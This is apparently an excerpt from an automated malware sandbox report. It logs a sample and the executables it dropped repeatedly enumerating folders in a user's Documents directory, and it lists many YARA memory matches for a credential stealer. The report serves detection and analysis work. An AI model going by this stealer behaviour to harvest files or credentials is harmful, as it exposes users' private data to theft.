Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: number of queries: 1598
Yara detected Credential Stealer
Source: Yara match File source: 0000001B.00000003.2547759461.0000000001408000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.2503061177.0000000001408000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2766804861.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.2691284963.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.2756875635.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2742010534.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.2529443181.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.2506078383.0000000001408000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2682613290.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2650632814.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.2726300389.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.2725809496.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.2551102132.0000000001408000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2657819055.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2710915887.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.2528499876.0000000001408000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2677534915.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2761912338.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2659696835.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2761127147.0000000000705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.2583071706.0000000001409000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.2526277791.0000000001409000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
